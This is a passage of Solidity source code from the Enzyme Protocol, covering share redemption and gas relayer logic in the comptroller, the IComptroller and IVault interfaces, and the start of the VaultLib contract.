The account that will receive the specified assets /// @param _sharesQuantity The quantity of shares to redeem /// @param _payoutAssets The assets to payout /// @param _payoutAssetPercentages The percentage of the owed amount to pay out in each asset /// @return payoutAmounts_ The amount of each asset paid out to the _recipient /// @dev Redeem all shares of the sender by setting _sharesQuantity to the max uint value. /// _payoutAssetPercentages must total exactly 100%. In order to specify less and forgo the /// remaining gav owed on the redeemed shares, pass in address(0) with the percentage to forego. /// Unlike redeemSharesInKind(), this function allows policies to run and prevent redemption. function redeemSharesForSpecificAssets( address _recipient, uint256 _sharesQuantity, address[] calldata _payoutAssets, uint256[] calldata _payoutAssetPercentages ) external locksReentrance returns (uint256[] memory payoutAmounts_) { address canonicalSender = __msgSender(); require( _payoutAssets.length == _payoutAssetPercentages.length, "redeemSharesForSpecificAssets: Unequal arrays" ); require( _payoutAssets.isUniqueSet(), "redeemSharesForSpecificAssets: Duplicate payout asset" ); uint256 gav = calcGav(); IVault vaultProxyContract = IVault(getVaultProxy()); (uint256 sharesToRedeem, uint256 sharesSupply) = __redeemSharesSetup( vaultProxyContract, canonicalSender, _sharesQuantity, true, gav ); payoutAmounts_ = __payoutSpecifiedAssetPercentages( vaultProxyContract, _recipient, _payoutAssets, _payoutAssetPercentages, gav.mul(sharesToRedeem).div(sharesSupply) ); // Run post-redemption in order to have access to the payoutAmounts __postRedeemSharesForSpecificAssetsHook( canonicalSender, _recipient, sharesToRedeem, _payoutAssets, payoutAmounts_, gav ); emit SharesRedeemed( canonicalSender, _recipient, sharesToRedeem, _payoutAssets, payoutAmounts_ ); return payoutAmounts_; } /// @notice Redeems a specified amount of the sender's shares /// for a proportionate slice of the vault's assets /// @param _recipient The account that will receive the proportionate slice of assets /// @param _sharesQuantity The quantity of shares to redeem /// @param _additionalAssets Additional (non-tracked) assets to claim /// @param _assetsToSkip Tracked assets to forfeit /// @return payoutAssets_ The assets paid out to the _recipient /// @return payoutAmounts_ The amount of each asset paid out to the _recipient /// @dev Redeem all shares of the sender by setting _sharesQuantity to the max uint value. /// Any claim to passed _assetsToSkip will be forfeited entirely. This should generally /// only be exercised if a bad asset is causing redemption to fail. /// This function should never fail without a way to bypass the failure, which is assured /// through two mechanisms: /// 1. The FeeManager is called with the try/catch pattern to assure that calls to it /// can never block redemption. /// 2. If a token fails upon transfer(), that token can be skipped (and its balance forfeited) /// by explicitly specifying _assetsToSkip. /// Because of these assurances, shares should always be redeemable, with the exception /// of the timelock period on shares actions that must be respected. function redeemSharesInKind( address _recipient, uint256 _sharesQuantity, address[] calldata _additionalAssets, address[] calldata _assetsToSkip ) external locksReentrance returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_) { address canonicalSender = __msgSender(); require( _additionalAssets.isUniqueSet(), "redeemSharesInKind: _additionalAssets contains duplicates" ); require( _assetsToSkip.isUniqueSet(), "redeemSharesInKind: _assetsToSkip contains duplicates" ); // Parse the payout assets given optional params to add or skip assets. // Note that there is no validation that the _additionalAssets are known assets to // the protocol. This means that the redeemer could specify a malicious asset, // but since all state-changing, user-callable functions on this contract share the // non-reentrant modifier, there is nowhere to perform a reentrancy attack. payoutAssets_ = __parseRedemptionPayoutAssets( IVault(vaultProxy).getTrackedAssets(), _additionalAssets, _assetsToSkip ); // If protocol fee shares will be auto-bought back, attempt to calculate GAV to pass into fees, // as we will require GAV later during the buyback. uint256 gavOrZero; if (doesAutoProtocolFeeSharesBuyback()) { // Since GAV calculation can fail with a revering price or a no-longer-supported asset, // we must try/catch GAV calculation to ensure that in-kind redemption can still succeed try this.calcGav() returns (uint256 gav) { gavOrZero = gav; } catch { emit RedeemSharesInKindCalcGavFailed(); } } (uint256 sharesToRedeem, uint256 sharesSupply) = __redeemSharesSetup( IVault(vaultProxy), canonicalSender, _sharesQuantity, false, gavOrZero ); // Calculate and transfer payout asset amounts due to _recipient payoutAmounts_ = new uint256[](payoutAssets_.length); for (uint256 i; i < payoutAssets_.length; i++) { payoutAmounts_[i] = ERC20(payoutAssets_[i]) .balanceOf(vaultProxy) .mul(sharesToRedeem) .div(sharesSupply); // Transfer payout asset to _recipient if (payoutAmounts_[i] > 0) { IVault(vaultProxy).withdrawAssetTo( payoutAssets_[i], _recipient, payoutAmounts_[i] ); } } emit SharesRedeemed( canonicalSender, _recipient, sharesToRedeem, payoutAssets_, payoutAmounts_ ); return (payoutAssets_, payoutAmounts_); } /// @dev Helper to parse an array of payout assets during redemption, taking into account /// additional assets and assets to skip. _assetsToSkip ignores _additionalAssets. /// All input arrays are assumed to be unique. function __parseRedemptionPayoutAssets( address[] memory _trackedAssets, address[] memory _additionalAssets, address[] memory _assetsToSkip ) private pure returns (address[] memory payoutAssets_) { address[] memory trackedAssetsToPayout = _trackedAssets.removeItems(_assetsToSkip); if (_additionalAssets.length == 0) { return trackedAssetsToPayout; } // Add additional assets. Duplicates of trackedAssets are ignored. bool[] memory indexesToAdd = new bool[](_additionalAssets.length); uint256 additionalItemsCount; for (uint256 i; i < _additionalAssets.length; i++) { if (!trackedAssetsToPayout.contains(_additionalAssets[i])) { indexesToAdd[i] = true; additionalItemsCount++; } } if (additionalItemsCount == 0) { return trackedAssetsToPayout; } payoutAssets_ = new address[](trackedAssetsToPayout.length.add(additionalItemsCount)); for (uint256 i; i < trackedAssetsToPayout.length; i++) { payoutAssets_[i] = trackedAssetsToPayout[i]; } uint256 payoutAssetsIndex = trackedAssetsToPayout.length; for (uint256 i; i < _additionalAssets.length; i++) { if (indexesToAdd[i]) { payoutAssets_[payoutAssetsIndex] = _additionalAssets[i]; payoutAssetsIndex++; } } return payoutAssets_; } /// @dev Helper to payout specified asset percentages during redeemSharesForSpecificAssets() function __payoutSpecifiedAssetPercentages( IVault vaultProxyContract, address _recipient, address[] calldata _payoutAssets, uint256[] calldata _payoutAssetPercentages, uint256 _owedGav ) private returns (uint256[] memory payoutAmounts_) { address denominationAssetCopy = getDenominationAsset(); uint256 percentagesTotal; payoutAmounts_ = new uint256[](_payoutAssets.length); for (uint256 i; i < _payoutAssets.length; i++) { percentagesTotal = percentagesTotal.add(_payoutAssetPercentages[i]); // Used to explicitly specify less than 100% in total _payoutAssetPercentages if (_payoutAssets[i] == SPECIFIC_ASSET_REDEMPTION_DUMMY_FORFEIT_ADDRESS) { continue; } payoutAmounts_[i] = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue( denominationAssetCopy, _owedGav.mul(_payoutAssetPercentages[i]).div(ONE_HUNDRED_PERCENT), _payoutAssets[i] ); // Guards against corner case of primitive-to-derivative asset conversion that floors to 0, // or redeeming a very low shares amount and/or percentage where asset value owed is 0 require( payoutAmounts_[i] > 0, "__payoutSpecifiedAssetPercentages: Zero amount for asset" ); vaultProxyContract.withdrawAssetTo(_payoutAssets[i], _recipient, payoutAmounts_[i]); } require( percentagesTotal == ONE_HUNDRED_PERCENT, "__payoutSpecifiedAssetPercentages: Percents must total 100%" ); return payoutAmounts_; } /// @dev Helper for system actions immediately prior to redeeming shares. /// Policy validation is not currently allowed on redemption, to ensure continuous redeemability. function __preRedeemSharesHook( address _redeemer, uint256 _sharesToRedeem, bool _forSpecifiedAssets, uint256 _gavIfCalculated ) private allowsPermissionedVaultAction { try IFeeManager(getFeeManager()).invokeHook( IFeeManager.FeeHook.PreRedeemShares, abi.encode(_redeemer, _sharesToRedeem, _forSpecifiedAssets), _gavIfCalculated ) {} catch (bytes memory reason) { emit PreRedeemSharesHookFailed(reason, _redeemer, _sharesToRedeem); } } /// @dev Helper to run policy validation after other logic for redeeming shares for specific assets. /// Avoids stack-too-deep error. function __postRedeemSharesForSpecificAssetsHook( address _redeemer, address _recipient, uint256 _sharesToRedeemPostFees, address[] memory _assets, uint256[] memory _assetAmounts, uint256 _gavPreRedeem ) private { IPolicyManager(getPolicyManager()).validatePolicies( address(this), IPolicyManager.PolicyHook.RedeemSharesForSpecificAssets, abi.encode( _redeemer, _recipient, _sharesToRedeemPostFees, _assets, _assetAmounts, _gavPreRedeem ) ); } /// @dev Helper to execute common pre-shares redemption logic function __redeemSharesSetup( IVault vaultProxyContract, address _redeemer, uint256 _sharesQuantityInput, bool _forSpecifiedAssets, uint256 _gavIfCalculated ) private returns (uint256 sharesToRedeem_, uint256 sharesSupply_) { __assertSharesActionNotTimelocked(address(vaultProxyContract), _redeemer); ERC20 sharesContract = ERC20(address(vaultProxyContract)); uint256 preFeesRedeemerSharesBalance = sharesContract.balanceOf(_redeemer); if (_sharesQuantityInput == type(uint256).max) { sharesToRedeem_ = preFeesRedeemerSharesBalance; } else { sharesToRedeem_ = _sharesQuantityInput; } require(sharesToRedeem_ > 0, "__redeemSharesSetup: No shares to redeem"); __preRedeemSharesHook(_redeemer, sharesToRedeem_, _forSpecifiedAssets, _gavIfCalculated); // Update the redemption amount if fees were charged (or accrued) to the redeemer uint256 postFeesRedeemerSharesBalance = sharesContract.balanceOf(_redeemer); if (_sharesQuantityInput == type(uint256).max) { sharesToRedeem_ = postFeesRedeemerSharesBalance; } else if (postFeesRedeemerSharesBalance < preFeesRedeemerSharesBalance) { sharesToRedeem_ = sharesToRedeem_.sub( preFeesRedeemerSharesBalance.sub(postFeesRedeemerSharesBalance) ); } // Pay the protocol fee after running other fees, but before burning shares vaultProxyContract.payProtocolFee(); if (_gavIfCalculated > 0 && doesAutoProtocolFeeSharesBuyback()) { __buyBackMaxProtocolFeeShares(address(vaultProxyContract), _gavIfCalculated); } // Destroy the shares after getting the shares supply sharesSupply_ = sharesContract.totalSupply(); vaultProxyContract.burnShares(_redeemer, sharesToRedeem_); return (sharesToRedeem_, sharesSupply_); } // TRANSFER SHARES /// @notice Runs logic prior to transferring shares that are not freely transferable /// @param _sender The sender of the shares /// @param _recipient The recipient of the shares /// @param _amount The amount of shares function preTransferSharesHook( address _sender, address _recipient, uint256 _amount ) external override { address vaultProxyCopy = getVaultProxy(); require(msg.sender == vaultProxyCopy, "preTransferSharesHook: Only VaultProxy callable"); __assertSharesActionNotTimelocked(vaultProxyCopy, _sender); IPolicyManager(getPolicyManager()).validatePolicies( address(this), IPolicyManager.PolicyHook.PreTransferShares, abi.encode(_sender, _recipient, _amount) ); } /// @notice Runs logic prior to transferring shares that are freely transferable /// @param _sender The sender of the shares /// @dev No need to validate caller, as policies are not run function preTransferSharesHookFreelyTransferable(address _sender) external view override { __assertSharesActionNotTimelocked(getVaultProxy(), _sender); } ///////////////// // GAS RELAYER // ///////////////// /// @notice Deploys a paymaster contract and deposits WETH, enabling gas relaying function deployGasRelayPaymaster() external onlyOwnerNotRelayable { require( getGasRelayPaymaster() == address(0), "deployGasRelayPaymaster: Paymaster already deployed" ); bytes memory constructData = abi.encodeWithSignature("init(address)", getVaultProxy()); address paymaster = IBeaconProxyFactory(getGasRelayPaymasterFactory()).deployProxy( constructData ); __setGasRelayPaymaster(paymaster); __depositToGasRelayPaymaster(paymaster); } /// @notice Tops up the gas relay paymaster deposit function depositToGasRelayPaymaster() external onlyOwner { __depositToGasRelayPaymaster(getGasRelayPaymaster()); } /// @notice Pull WETH from vault to gas relay paymaster /// @param _amount Amount of the WETH to pull from the vault function pullWethForGasRelayer(uint256 _amount) external override onlyGasRelayPaymaster { IVault(getVaultProxy()).withdrawAssetTo(getWethToken(), getGasRelayPaymaster(), _amount); } /// @notice Sets the gasRelayPaymaster variable value /// @param _nextGasRelayPaymaster The next gasRelayPaymaster value function setGasRelayPaymaster(address _nextGasRelayPaymaster) external override onlyFundDeployer { __setGasRelayPaymaster(_nextGasRelayPaymaster); } /// @notice Removes the gas relay paymaster, withdrawing the remaining WETH balance /// and disabling gas relaying function shutdownGasRelayPaymaster() external onlyOwnerNotRelayable { IGasRelayPaymaster(gasRelayPaymaster).withdrawBalance(); IVault(vaultProxy).addTrackedAsset(getWethToken()); delete gasRelayPaymaster; emit GasRelayPaymasterSet(address(0)); } /// @dev Helper to deposit to the gas relay paymaster function __depositToGasRelayPaymaster(address _paymaster) private { IGasRelayPaymaster(_paymaster).deposit(); } /// @dev Helper to set the next `gasRelayPaymaster` variable function __setGasRelayPaymaster(address _nextGasRelayPaymaster) private { gasRelayPaymaster = _nextGasRelayPaymaster; emit GasRelayPaymasterSet(_nextGasRelayPaymaster); } /////////////////// // STATE GETTERS // /////////////////// // LIB IMMUTABLES /// @notice Gets the `DISPATCHER` variable /// @return dispatcher_ The `DISPATCHER` variable value function getDispatcher() public view returns (address dispatcher_) { return DISPATCHER; } /// @notice Gets the `EXTERNAL_POSITION_MANAGER` variable /// @return externalPositionManager_ The `EXTERNAL_POSITION_MANAGER` variable value function getExternalPositionManager() public view override returns (address externalPositionManager_) { return EXTERNAL_POSITION_MANAGER; } /// @notice Gets the `FEE_MANAGER` variable /// @return feeManager_ The `FEE_MANAGER` variable value function getFeeManager() public view override returns (address feeManager_) { return FEE_MANAGER; } /// @notice Gets the `FUND_DEPLOYER` variable /// @return fundDeployer_ The `FUND_DEPLOYER` variable value function getFundDeployer() public view override returns (address fundDeployer_) { return FUND_DEPLOYER; } /// @notice Gets the `INTEGRATION_MANAGER` variable /// @return integrationManager_ The `INTEGRATION_MANAGER` variable value function getIntegrationManager() public view override returns (address integrationManager_) { return INTEGRATION_MANAGER; } /// @notice Gets the `MLN_TOKEN` variable /// @return mlnToken_ The `MLN_TOKEN` variable value function getMlnToken() public view returns (address mlnToken_) { return MLN_TOKEN; } /// @notice Gets the `POLICY_MANAGER` variable /// @return policyManager_ The `POLICY_MANAGER` variable value function getPolicyManager() public view override returns (address policyManager_) { return POLICY_MANAGER; } /// @notice Gets the `PROTOCOL_FEE_RESERVE` variable /// @return protocolFeeReserve_ The `PROTOCOL_FEE_RESERVE` variable value function getProtocolFeeReserve() public view returns (address protocolFeeReserve_) { return PROTOCOL_FEE_RESERVE; } /// @notice Gets the `VALUE_INTERPRETER` variable /// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value function getValueInterpreter() public view returns (address valueInterpreter_) { return VALUE_INTERPRETER; } /// @notice Gets the `WETH_TOKEN` variable /// @return wethToken_ The `WETH_TOKEN` variable value function getWethToken() public view returns (address wethToken_) { return WETH_TOKEN; } // PROXY STORAGE /// @notice Checks if collected protocol fee shares are automatically bought back /// while buying or redeeming shares /// @return doesAutoBuyback_ True if shares are automatically bought back function doesAutoProtocolFeeSharesBuyback() public view returns (bool doesAutoBuyback_) { return autoProtocolFeeSharesBuyback; } /// @notice Gets the `denominationAsset` variable /// @return denominationAsset_ The `denominationAsset` variable value function getDenominationAsset() public view override returns (address denominationAsset_) { return denominationAsset; } /// @notice Gets the `gasRelayPaymaster` variable /// @return gasRelayPaymaster_ The `gasRelayPaymaster` variable value function getGasRelayPaymaster() public view override returns (address gasRelayPaymaster_) { return gasRelayPaymaster; } /// @notice Gets the timestamp of the last time shares were bought for a given account /// @param _who The account for which to get the timestamp /// @return lastSharesBoughtTimestamp_ The timestamp of the last shares bought function getLastSharesBoughtTimestampForAccount(address _who) public view returns (uint256 lastSharesBoughtTimestamp_) { return acctToLastSharesBoughtTimestamp[_who]; } /// @notice Gets the `sharesActionTimelock` variable /// @return sharesActionTimelock_ The `sharesActionTimelock` variable value function getSharesActionTimelock() public view returns (uint256 sharesActionTimelock_) { return sharesActionTimelock; } /// @notice Gets the `vaultProxy` variable /// @return vaultProxy_ The `vaultProxy` variable value function getVaultProxy() public view override returns (address vaultProxy_) { return vaultProxy; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../vault/IVault.sol"; /// @title IComptroller Interface /// @author Enzyme Council <[email protected]> interface IComptroller { function activate(bool) external; function calcGav() external returns (uint256); function calcGrossShareValue() external returns (uint256); function callOnExtension( address, uint256, bytes calldata ) external; function destructActivated(uint256, uint256) external; function destructUnactivated() external; function getDenominationAsset() external view returns (address); function getExternalPositionManager() external view returns (address); function getFeeManager() external view returns (address); function getFundDeployer() external view returns (address); function getGasRelayPaymaster() external view returns (address); function getIntegrationManager() external view returns (address); function getPolicyManager() external view returns (address); function getVaultProxy() external view returns (address); function init(address, uint256) external; function permissionedVaultAction(IVault.VaultAction, bytes calldata) external; function preTransferSharesHook( address, address, uint256 ) external; function preTransferSharesHookFreelyTransferable(address) external view; function setGasRelayPaymaster(address) external; function setVaultProxy(address) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../../../persistent/vault/interfaces/IExternalPositionVault.sol"; import "../../../../persistent/vault/interfaces/IFreelyTransferableSharesVault.sol"; import "../../../../persistent/vault/interfaces/IMigratableVault.sol"; /// @title IVault Interface /// @author Enzyme Council <[email protected]> interface IVault is IMigratableVault, IFreelyTransferableSharesVault, IExternalPositionVault { enum VaultAction { None, // Shares management BurnShares, MintShares, TransferShares, // Asset management AddTrackedAsset, ApproveAssetSpender, RemoveTrackedAsset, WithdrawAssetTo, // External position management AddExternalPosition, CallOnExternalPosition, RemoveExternalPosition } function addTrackedAsset(address) external; function burnShares(address, uint256) external; function buyBackProtocolFeeShares( uint256, uint256, uint256 ) external; function callOnContract(address, bytes calldata) external returns (bytes memory); function canManageAssets(address) external view returns (bool); function canRelayCalls(address) external view returns (bool); function getAccessor() external view returns (address); function getOwner() external view returns (address); function getActiveExternalPositions() external view returns (address[] memory); function getTrackedAssets() external view returns (address[] memory); function isActiveExternalPosition(address) external view returns (bool); function isTrackedAsset(address) external view returns (bool); function mintShares(address, uint256) external; function payProtocolFee() external; function receiveValidatedVaultAction(VaultAction, bytes calldata) external; function setAccessorForFundReconfiguration(address) external; function setSymbol(string calldata) external; function transferShares( address, address, uint256 ) external; function withdrawAssetTo( address, address, uint256 ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../../../persistent/dispatcher/IDispatcher.sol"; import "../../../../persistent/external-positions/IExternalPosition.sol"; import "../../../../persistent/protocol-fee-reserve/interfaces/IProtocolFeeReserve1.sol"; import "../../../../persistent/vault/VaultLibBase2.sol"; import "../../../infrastructure/gas-relayer/GasRelayRecipientMixin.sol"; import "../../../infrastructure/protocol-fees/IProtocolFeeTracker.sol"; import "../../../extensions/external-position-manager/IExternalPositionManager.sol"; import "../../../interfaces/IWETH.sol"; import "../../../utils/AddressArrayLib.sol"; import "../comptroller/IComptroller.sol"; import "./IVault.sol"; /// @title VaultLib Contract /// @author Enzyme Council <[email protected]> /// @notice The per-release proxiable library contract for VaultProxy /// @dev The difference in terminology between "asset" and "trackedAsset" is intentional. /// A fund might actually have asset balances of un-tracked assets, /// but only tracked assets are used in gav calculations. /// Note that this contract inherits VaultLibSafeMath (a verbatim Open Zeppelin SafeMath copy) /// from SharesTokenBase via VaultLibBase2 contract VaultLib is VaultLibBase2, IVault, GasRelayRecipientMixin { using AddressArrayLib for address[]; using SafeERC20 for ERC20; address private immutable EXTERNAL_POSITION_MANAGER; // The account to which to send $MLN earmarked for burn. // A value of `address(0)` signifies burning from the current contract. address private immutable MLN_BURNER; address private immutable MLN_TOKEN; // "Positions" are "tracked assets" + active "external positions" // Before updating POSITIONS_LIMIT in the future, it is important to consider: // 1. The highest positions limit ever allowed in the protocol // 2. That the next value will need to be respected by all future releases uint256 private immutable POSITIONS_LIMIT; address private immutable PROTOCOL_FEE_RESERVE; address private immutable PROTOCOL_FEE_TRACKER; address private immutable WETH_TOKEN; modifier notShares(address _asset) { require(_asset != address(this), "Cannot act on shares"); _; } modifier onlyAccessor() { require(msg.sender == accessor, "Only the designated accessor can make this call"); _; } modifier onlyOwner() { require(__msgSender() == owner, "Only the owner can call this function"); _; } constructor( address _externalPositionManager, address _gasRelayPaymasterFactory, address _protocolFeeReserve, address _protocolFeeTracker, address _mlnToken, address _mlnBurner, address _wethToken, uint256 _positionsLimit ) public GasRelayRecipientMixin(_gasRelayPaymasterFactory) { EXTERNAL_POSITION_MANAGER = _externalPositionManager; MLN_BURNER = _mlnBurner; MLN_TOKEN = _mlnToken; POSITIONS_LIMIT = _positionsLimit; PROTOCOL_FEE_RESERVE = _protocolFeeReserve; PROTOCOL_FEE_TRACKER = _protocolFeeTracker; WETH_TOKEN = _wethToken; } /// @dev If a VaultProxy receives ETH, immediately wrap into WETH. /// Will not be able to receive ETH via .transfer() or .send() due to limited gas forwarding. receive() external payable { uint256 ethAmount = payable(address(this)).balance; IWETH(payable(getWethToken())).deposit{value: ethAmount}(); emit EthReceived(msg.sender, ethAmount); } ///////////// // GENERAL // ///////////// /// @notice Gets the external position library contract for a given type /// @param _typeId The type for which to get the external position library /// @return externalPositionLib_ The external position library function getExternalPositionLibForType(uint256 _typeId) external view override returns (address externalPositionLib_) { return IExternalPositionManager(getExternalPositionManager()).getExternalPositionLibForType( _typeId ); } /// @notice Sets shares as (permanently) freely transferable /// @dev Once set, this can never be allowed to be unset, as it provides a critical /// transferability guarantee to liquidity pools and other smart contract holders /// that rely on transfers to function properly. Enabling this option will skip all /// policies run upon transferring shares, but will still respect the shares action timelock. function setFreelyTransferableShares() external onlyOwner { require(!sharesAreFreelyTransferable(), "setFreelyTransferableShares: Already set"); freelyTransferableShares = true; emit FreelyTransferableSharesSet(); } /// @notice Sets the shares name /// @param _nextName The next name value /// @dev Owners should consider the implications of changing an ERC20 name post-deployment, /// e.g., some apps/dapps may cache token names for display purposes, so changing the name /// in contract state may not be reflected in third party applications as desired. function setName(string calldata _nextName) external onlyOwner { sharesName = _nextName; emit NameSet(_nextName); } /// @notice Sets the shares token symbol /// @param _nextSymbol The next symbol value /// @dev Owners should consider the implications of changing an ERC20 symbol post-deployment, /// e.g., some apps/dapps may cache token symbols for display purposes, so changing the symbol /// in contract state may not be reflected in third party applications as desired. /// Only callable by the FundDeployer during vault creation or by the vault owner. function setSymbol(string calldata _nextSymbol) external override { require(__msgSender() == owner || msg.sender == getFundDeployer(), "Unauthorized"); sharesSymbol = _nextSymbol; emit SymbolSet(_nextSymbol); } //////////////////////// // PERMISSIONED ROLES // //////////////////////// /// @notice Registers accounts that can manage vault holdings within the protocol /// @param _managers The accounts to add as asset managers function addAssetManagers(address[] calldata _managers) external onlyOwner { for (uint256 i; i < _managers.length; i++) { require(!isAssetManager(_managers[i]), "addAssetManagers: Manager already registered"); accountToIsAssetManager[_managers[i]] = true; emit AssetManagerAdded(_managers[i]); } } /// @notice Claim ownership of the contract function claimOwnership() external { address nextOwner = nominatedOwner; require( msg.sender == nextOwner, "claimOwnership: Only the nominatedOwner can call this function" ); delete nominatedOwner; address prevOwner = owner; owner = nextOwner; emit OwnershipTransferred(prevOwner, nextOwner); } /// @notice Deregisters accounts that can manage vault holdings within the protocol /// @param _managers The accounts to remove as asset managers function removeAssetManagers(address[] calldata _managers) external onlyOwner { for (uint256 i; i < _managers.length; i++) { require(isAssetManager(_managers[i]), "removeAssetManagers: Manager not registered"); accountToIsAssetManager[_managers[i]] = false; emit AssetManagerRemoved(_managers[i]); } } /// @notice Revoke the nomination of a new contract owner function removeNominatedOwner() external onlyOwner { address removedNominatedOwner = nominatedOwner; require( removedNominatedOwner != address(0), "removeNominatedOwner: There is no nominated owner" ); delete nominatedOwner; emit NominatedOwnerRemoved(removedNominatedOwner); } /// @notice Sets the account that is allowed to migrate a fund to new releases /// @param _nextMigrator The account to set as the allowed migrator /// @dev Set to address(0) to remove the migrator. function setMigrator(address _nextMigrator) external onlyOwner { address prevMigrator = migrator; require(_nextMigrator != prevMigrator, "setMigrator: Value already set"); migrator = _nextMigrator; emit MigratorSet(prevMigrator, _nextMigrator); } /// @notice Nominate a new contract owner /// @param _nextNominatedOwner The account to nominate /// @dev Does not prohibit overwriting the current nominatedOwner function setNominatedOwner(address _nextNominatedOwner) external onlyOwner { require( _nextNominatedOwner != address(0), "setNominatedOwner: _nextNominatedOwner cannot be empty" ); require( _nextNominatedOwner != owner, "setNominatedOwner: _nextNominatedOwner is already the owner" ); require( _nextNominatedOwner != nominatedOwner, "setNominatedOwner: _nextNominatedOwner is already nominated" ); nominatedOwner = _nextNominatedOwner; emit NominatedOwnerSet(_nextNominatedOwner); } //////////////////////// // FUND DEPLOYER ONLY // //////////////////////// /// @notice Updates the accessor during a config change within this release /// @param _nextAccessor The next accessor function setAccessorForFundReconfiguration(address _nextAccessor) external override { require(msg.sender == getFundDeployer(), "Only the FundDeployer can make this call"); __setAccessor(_nextAccessor); } /////////////////////////////////////// // ACCESSOR (COMPTROLLER PROXY) ONLY // /////////////////////////////////////// /// @notice Adds a tracked asset /// @param _asset The asset to add as a tracked asset function addTrackedAsset(address _asset) external override onlyAccessor { __addTrackedAsset(_asset); } /// @notice Burns fund shares from a particular account /// @param _target The account for which to burn shares /// @param _amount The amount of shares to burn function burnShares(address _target, uint256 _amount) external override onlyAccessor { __burn(_target, _amount); } /// @notice Buys back shares collected as protocol fee at a discounted shares price, using MLN /// @param _sharesAmount The amount of shares to buy back /// @param _mlnValue The MLN-denominated market value of _sharesAmount /// @param _gav The total fund GAV /// @dev Since the vault controls both the MLN to burn and the admin function to burn any user's /// fund shares, there is no need to transfer assets back-and-forth with the ProtocolFeeReserve. /// We only need to know the correct discounted amount of MLN to burn. function buyBackProtocolFeeShares( uint256 _sharesAmount, uint256 _mlnValue, uint256 _gav ) external override onlyAccessor { uint256 mlnAmountToBurn = IProtocolFeeReserve1(getProtocolFeeReserve()) .buyBackSharesViaTrustedVaultProxy(_sharesAmount, _mlnValue, _gav); if (mlnAmountToBurn == 0) { return; } // Burn shares and MLN amounts // If shares or MLN balance is insufficient, will revert __burn(getProtocolFeeReserve(), _sharesAmount); if (getMlnBurner() == address(0)) { ERC20Burnable(getMlnToken()).burn(mlnAmountToBurn); } else { ERC20(getMlnToken()).safeTransfer(getMlnBurner(), mlnAmountToBurn); } emit ProtocolFeeSharesBoughtBack(_sharesAmount, _mlnValue, mlnAmountToBurn); } /// @notice Makes an arbitrary call with this contract as the sender /// @param _contract The contract to call /// @param _callData The call data for the call /// @return returnData_ The data returned by the call function callOnContract(address _contract, bytes calldata _callData) external override onlyAccessor returns (bytes memory returnData_) { bool success; (success, returnData_) = _contract.call(_callData); require(success, string(returnData_)); return returnData_; } /// @notice Mints fund shares to a particular account /// @param _target The account for which to burn shares /// @param _amount The amount of shares to mint function mintShares(address _target, uint256 _amount) external override onlyAccessor { __mint(_target, _amount); } /// @notice Pays the due protocol fee by minting shares to the ProtocolFeeReserve function payProtocolFee() external override onlyAccessor { uint256 sharesDue = IProtocolFeeTracker(getProtocolFeeTracker()).payFee(); if (sharesDue == 0) { return; } __mint(getProtocolFeeReserve(), sharesDue); emit ProtocolFeePaidInShares(sharesDue); } /// @notice Transfers fund shares from one account to another /// @param _from The account from which to transfer shares /// @param _to The account to which to transfer shares /// @param _amount The amount of shares to transfer /// @dev For protocol use only, all other transfers should operate /// via standard ERC20 functions function transferShares( address _from, address _to, uint256 _amount ) external override onlyAccessor { __transfer(_from, _to, _amount); } /// @notice Withdraws an asset from the VaultProxy to a given account /// @param _asset The asset to withdraw /// @param _target The account to which to withdraw the asset /// @param _amount The amount of asset to withdraw function withdrawAssetTo( address _asset, address _target, uint256 _amount ) external override onlyAccessor { __withdrawAssetTo(_asset, _target, _amount); } /////////////////////////// // VAULT ACTION DISPATCH // /////////////////////////// /// @notice Dispatches a call initiated from an Extension, validated by the ComptrollerProxy /// @param _action The VaultAction to perform /// @param _actionData The call data for the action to perform function receiveValidatedVaultAction(VaultAction _action, bytes calldata _actionData) external override onlyAccessor { if (_action == VaultAction.AddExternalPosition) { __executeVaultActionAddExternalPosition(_actionData); } else if (_action == VaultAction.AddTrackedAsset) { __executeVaultActionAddTrackedAsset(_actionData); } else if (_action == VaultAction.ApproveAssetSpender) { __executeVaultActionApproveAssetSpender(_actionData); } else if (_action == VaultAction.BurnShares) { __executeVaultActionBurnShares(_actionData); } else if (_action == VaultAction.CallOnExternalPosition) { __executeVaultActionCallOnExternalPosition(_actionData); } else if (_action == VaultAction.MintShares) { __executeVaultActionMintShares(_actionData); } else if (_action == VaultAction.RemoveExternalPosition) { __executeVaultActionRemoveExternalPosition(_actionData); } else if (_action == VaultAction.RemoveTrackedAsset) { __executeVaultActionRemoveTrackedAsset(_actionData); } else if (_action == VaultAction.TransferShares) { __executeVaultActionTransferShares(_actionData); } else if (_action == VaultAction.WithdrawAssetTo) { __executeVaultActionWithdrawAssetTo(_actionData); } } /// @dev Helper to decode actionData and execute VaultAction.AddExternalPosition function __executeVaultActionAddExternalPosition(bytes memory _actionData) private { __addExternalPosition(abi.decode(_actionData, (address))); } /// @dev Helper to decode actionData and execute VaultAction.AddTrackedAsset function __executeVaultActionAddTrackedAsset(bytes memory _actionData) private { __addTrackedAsset(abi.decode(_actionData, (address))); } /// @dev Helper to decode actionData and execute VaultAction.ApproveAssetSpender function __executeVaultActionApproveAssetSpender(bytes memory _actionData) private { (address asset, address target, uint256 amount) = abi.decode( _actionData, (address, address, uint256) ); __approveAssetSpender(asset, target, amount); } /// @dev Helper to decode actionData and execute VaultAction.BurnShares function __executeVaultActionBurnShares(bytes memory _actionData) private { (address target, uint256 amount) = abi.decode(_actionData, (address, uint256)); __burn(target, amount); } /// @dev Helper to decode actionData and execute VaultAction.CallOnExternalPosition function __executeVaultActionCallOnExternalPosition(bytes memory _actionData) private { ( address externalPosition, bytes memory callOnExternalPositionActionData, address[] memory assetsToTransfer, uint256[] memory 